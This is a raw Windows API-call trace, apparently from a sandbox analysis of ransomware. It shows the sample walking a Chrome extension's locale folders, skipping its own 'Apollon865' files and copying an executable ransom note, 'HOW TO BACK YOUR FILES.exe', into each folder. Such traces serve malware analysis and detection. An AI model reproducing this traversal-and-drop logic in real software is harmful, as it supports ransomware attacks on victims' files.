	[0047.854] lstrcmpiW (lpString1="no", lpString2="Apollon865.txt.exe") returned 1
	[0047.854] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="no" | out: lpString1="no") returned="no"
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0008
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bae20
	[0047.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0010 | out: ListHead=0x5b76b0, ListEntry=0x5a0010) returned 0x59fff0
	[0047.854] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1
	[0047.854] lstrcmpiW (lpString1="pl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.854] lstrcmpiW (lpString1="pl", lpString2="Apollon865.txt.exe") returned 1
	[0047.854] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pl" | out: lpString1="pl") returned="pl"
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0028
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5baf48
	[0047.854] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0030 | out: ListHead=0x5b76b0, ListEntry=0x5a0030) returned 0x5a0010
	[0047.854] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1
	[0047.854] lstrcmpiW (lpString1="pt_BR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.854] lstrcmpiW (lpString1="pt_BR", lpString2="Apollon865.txt.exe") returned 1
	[0047.854] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pt_BR" | out: lpString1="pt_BR") returned="pt_BR"
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0048
	[0047.854] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11a) returned 0x5aa260
	[0047.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0050 | out: ListHead=0x5b76b0, ListEntry=0x5a0050) returned 0x5a0030
	[0047.855] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1
	[0047.855] lstrcmpiW (lpString1="pt_PT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.855] lstrcmpiW (lpString1="pt_PT", lpString2="Apollon865.txt.exe") returned 1
	[0047.855] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="pt_PT" | out: lpString1="pt_PT") returned="pt_PT"
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0068
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11a) returned 0x5ac620
	[0047.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0070 | out: ListHead=0x5b76b0, ListEntry=0x5a0070) returned 0x5a0050
	[0047.855] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1
	[0047.855] lstrcmpiW (lpString1="ro", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.855] lstrcmpiW (lpString1="ro", lpString2="Apollon865.txt.exe") returned 1
	[0047.855] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ro" | out: lpString1="ro") returned="ro"
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0088
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb070
	[0047.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0090 | out: ListHead=0x5b76b0, ListEntry=0x5a0090) returned 0x5a0070
	[0047.855] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1
	[0047.855] lstrcmpiW (lpString1="ru", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.855] lstrcmpiW (lpString1="ru", lpString2="Apollon865.txt.exe") returned 1
	[0047.855] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="ru" | out: lpString1="ru") returned="ru"
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00a8
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb198
	[0047.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00b0 | out: ListHead=0x5b76b0, ListEntry=0x5a00b0) returned 0x5a0090
	[0047.855] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="se", cAlternateFileName="")) returned 1
	[0047.855] lstrcmpiW (lpString1="se", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.855] lstrcmpiW (lpString1="se", lpString2="Apollon865.txt.exe") returned 1
	[0047.855] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="se" | out: lpString1="se") returned="se"
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00c8
	[0047.855] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb2c0
	[0047.855] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00d0 | out: ListHead=0x5b76b0, ListEntry=0x5a00d0) returned 0x5a00b0
	[0047.855] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1
	[0047.855] lstrcmpiW (lpString1="sk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.856] lstrcmpiW (lpString1="sk", lpString2="Apollon865.txt.exe") returned 1
	[0047.856] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sk" | out: lpString1="sk") returned="sk"
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a00e8
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb3e8
	[0047.856] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a00f0 | out: ListHead=0x5b76b0, ListEntry=0x5a00f0) returned 0x5a00d0
	[0047.856] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a48590, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a48590, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1
	[0047.856] lstrcmpiW (lpString1="sl", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.856] lstrcmpiW (lpString1="sl", lpString2="Apollon865.txt.exe") returned 1
	[0047.856] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sl" | out: lpString1="sl") returned="sl"
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0108
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb510
	[0047.856] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0110 | out: ListHead=0x5b76b0, ListEntry=0x5a0110) returned 0x5a00f0
	[0047.856] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sr", cAlternateFileName="")) returned 1
	[0047.856] lstrcmpiW (lpString1="sr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.856] lstrcmpiW (lpString1="sr", lpString2="Apollon865.txt.exe") returned 1
	[0047.856] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="sr" | out: lpString1="sr") returned="sr"
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0128
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb638
	[0047.856] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0130 | out: ListHead=0x5b76b0, ListEntry=0x5a0130) returned 0x5a0110
	[0047.856] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86aba9b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86aba9b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
	[0047.856] lstrcmpiW (lpString1="th", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.856] lstrcmpiW (lpString1="th", lpString2="Apollon865.txt.exe") returned 1
	[0047.856] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="th" | out: lpString1="th") returned="th"
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0148
	[0047.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb760
	[0047.856] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0150 | out: ListHead=0x5b76b0, ListEntry=0x5a0150) returned 0x5a0130
	[0047.856] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869b0010, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a22430, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a22430, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
	[0047.856] lstrcmpiW (lpString1="tr", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.856] lstrcmpiW (lpString1="tr", lpString2="Apollon865.txt.exe") returned 1
	[0047.856] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="tr" | out: lpString1="tr") returned="tr"
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb888
	[0047.857] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x5a0150
	[0047.857] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869d6170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a6e6f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a6e6f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uk", cAlternateFileName="")) returned 1
	[0047.857] lstrcmpiW (lpString1="uk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.857] lstrcmpiW (lpString1="uk", lpString2="Apollon865.txt.exe") returned 1
	[0047.857] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="uk" | out: lpString1="uk") returned="uk"
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0168
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bb9b0
	[0047.857] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0170 | out: ListHead=0x5b76b0, ListEntry=0x5a0170) returned 0x59fdb0
	[0047.857] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
	[0047.857] lstrcmpiW (lpString1="vi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.857] lstrcmpiW (lpString1="vi", lpString2="Apollon865.txt.exe") returned 1
	[0047.857] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="vi" | out: lpString1="vi") returned="vi"
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a0188
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x114) returned 0x5bbad8
	[0047.857] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a0190 | out: ListHead=0x5b76b0, ListEntry=0x5a0190) returned 0x5a0170
	[0047.857] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x869fc2d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
	[0047.857] lstrcmpiW (lpString1="zh_CN", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.857] lstrcmpiW (lpString1="zh_CN", lpString2="Apollon865.txt.exe") returned 1
	[0047.857] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zh_CN" | out: lpString1="zh_CN") returned="zh_CN"
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a01a8
	[0047.857] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11a) returned 0x5ac748
	[0047.857] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a01b0 | out: ListHead=0x5b76b0, ListEntry=0x5a01b0) returned 0x5a0190
	[0047.857] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
	[0047.857] lstrcmpiW (lpString1="zh_TW", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0047.857] lstrcmpiW (lpString1="zh_TW", lpString2="Apollon865.txt.exe") returned 1
	[0047.857] lstrcpyW (in: lpString1=0x2d3e65e, lpString2="zh_TW" | out: lpString1="zh_TW") returned="zh_TW"
	[0047.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5a01c8
	[0047.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x11a) returned 0x5ac870
	[0047.858] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5a01d0 | out: ListHead=0x5b76b0, ListEntry=0x5a01d0) returned 0x5a01b0
	[0047.858] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86a94850, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86a94850, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
	[0047.858] FindClose (in: hFindFile=0x5ca050 | out: hFindFile=0x5ca050) returned 1
	[0047.858] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5a01d0
	[0047.858] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW"
	[0047.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac870 | out: hHeap=0x580000) returned 1
	[0047.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01c8 | out: hHeap=0x580000) returned 1
	[0047.858] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned 140
	[0047.858] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW"
	[0047.858] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.858] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.863] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.863] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86a22430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34988d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34988d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.863] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.863] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.863] lstrcpyW (in: lpString1=0x2d3e66a, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.863] lstrlenW (lpString="messages.json") returned 13
	[0047.863] lstrlenW (lpString="Apollon865") returned 10
	[0047.863] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.863] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN"
	[0047.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac748 | out: hHeap=0x580000) returned 1
	[0047.863] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01a8 | out: hHeap=0x580000) returned 1
	[0047.863] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned 140
	[0047.863] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN"
	[0047.863] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.863] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.867] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
